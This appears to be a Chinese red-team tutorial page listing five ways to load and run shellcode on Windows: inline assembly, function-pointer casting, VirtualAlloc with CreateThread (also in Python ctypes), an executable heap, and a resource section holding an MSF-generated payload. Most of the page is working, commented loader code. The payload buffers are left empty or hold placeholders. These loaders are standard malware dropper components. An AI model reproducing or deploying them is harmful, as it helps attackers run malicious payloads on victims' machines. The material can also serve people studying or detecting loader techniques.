常见的加载方式
1.内联汇编加载
使用内联汇编只能加载32位程序的ShellCode，因为64位程序不支持写内联汇编
#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#include <Windows.h>
//ShellCode部分
unsigned char buf[] = "";
void main() {
__asm {
lea eax,buf // 将buf的地址加载到eax寄存器
call eax // 使用call指令跳转到eax寄存器指向的地址（即buf），开始执行shellcode
}
}2.使用函数指针加载
如下代码所示，(void(*)(void))是一个函数指针类型的强制转换, 该函数指针指向一个没有参数且返回值类型为void的函数，也就是说这行代码将 buf 的地址转换为一个函数指针，然后调用该指针所指向的函数，其实这种方法和上述加载方式原理是一样的，只不过这种方法还能用于加载64位的ShellCode
#pragma comment(linker, "/section:.data,RWE") //将data段的内存设置成可读可写可执行
#include <Windows.h>
//ShellCode部分
unsigned char buf[] ="0x??";
void main() {
((void(*)(void)) & buf)(); //执行ShellCode
}3.创建线程加载
上述两种方法都需要将data节的内存设置成可读可写可执行, 以下这段代码的主要作用是在内存中分配一段可执行的内存空间，将buf数组中的内容复制到该内存空间，并创建一个新线程来执行这段内存中的代码
#include <Windows.h>
unsigned char buf[] = "";
void main() {
// 申请一块可进行读写操作的内存
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存中
RtlMoveMemory(pMemory, buf, sizeof(buf));
// 创建一个新的线程来执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
// 等待新创建的线程执行完成
WaitForSingleObject(hThread, INFINITE);
}下述是申请内存加载的python版本代码:
#使用MSF生成的python格式的ShellCode
buf = b""
buf += b"\xf0\xb5\xa2\x56\xff\xd5"
#bytearray()函数返回一个新字节数组
shellcode= bytearray(buf)
#VirtualAlloc函数用来开辟内存空间,返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64
ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
#RtlMoveMemory函数将Shellcode加载至此段内存空间
buf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
#使用CreateThread函数创建一个线程从Shellcode的起始地址开始执行此段内存空间的内容
handle= ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
#通过WaitForSingleObject函数来等待执行结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))4.通过堆加载
这段代码首先创建了一个具有执行权限的堆，然后在堆中分配内存并将shellcode复制到内存中。最后，代码通过直接调用存储在内存中的shellcode来执行它
#include <Windows.h>
// 定义 shellcode（恶意代码）
unsigned char shellcode[] = "";
// 主函数
void main() {
// 创建一个具有执行权限的堆，以存储shellcode
HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);
// 在创建的堆中分配一块内存，并将其地址赋给buffer
char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));
// 将shellcode复制到buffer指向的内存中
memcpy(buffer, shellcode, sizeof(shellcode));
// 下面是另一种创建线程的方法，这里被注释掉了
// 创建一个新线程并执行buffer指向的内存中的shellcode
// HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL);
// 等待新线程执行完毕
// WaitForSingleObject(hThread, INFINITE);
// 将buffer指向的内存地址强制转换为一个函数指针，并调用该函数，执行shellcode
((void(*)(void)) buffer)();
}5.基于资源节加载
导入资源
使用MSF生成bin文件，随后点击添加资源->导入，并选择生成的bin文件
然后自定义bin文件的资源类型, 此处我自定义的类型为"shellcode"，当然你也可以定义成其它的名字
添加完资源后会在当前项目生成一个resource.h, 代码如下所示，这里只需注意这段代码#define IDR_SHELLCODE1 101
#include <Windows.h>
#include "resource.h"
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ 生成的包含文件。
// 供 Shellcode加载器.rc 使用
//
//IDR_SHELLCODE1 通常用于标识和引用项目中的某个资源，例如嵌入到可执行文件中的二进制数据、图像或其他类型的资源，在项目的其他部分（例如代码或资源脚本中），可以通过使用 IDR_SHELLCODE1 符号来引用这个资源，而不是直接使用数字常量（如 101
#define IDR_SHELLCODE1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif实现代码
以下是完整shellcode加载器代码:
#include <Windows.h>
#include "resource.h"
//通过资源加载ShellCode
void ResourceLoader() {
/*
FindResource用于查找指定模块（EXE或DLL文件）中指定名称和类型的资源,其语法格式如下:
HRSRC FindResource(
HMODULE hModule, //指向包含要查找的资源的模块的句柄,若该参数为NULL，则查找当前进程中的资源
LPCTSTR lpName, //指向资源名称的指针，可以是一个字符串或者一个整数，若是一个整数，则它是一个由MAKEINTRESOURCE宏定义的资源标识符
LPCTSTR lpType //指向资源类型的指针，可以是一个字符串或者一个整数。若是一个整数，则它是一个由MAKEINTRESOURCE宏定义的资源类型标识符
);
如果查找成功，则返回资源句柄；否则返回NULL
*/
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_SHELLCODE1), L"shellcode");
//用于获取资源的大小
DWORD ResSize = SizeofResource(NULL, Res);
//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中，并返回一个指向该资源数据的句柄
HGLOBAL Load = LoadResource(NULL, Res);
//申请内存
void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(buffer, Load, ResSize);
//执行shellcode
((void(*)(void)) buffer)();
}
int main() {
ResourceLoader();
}最后更新于
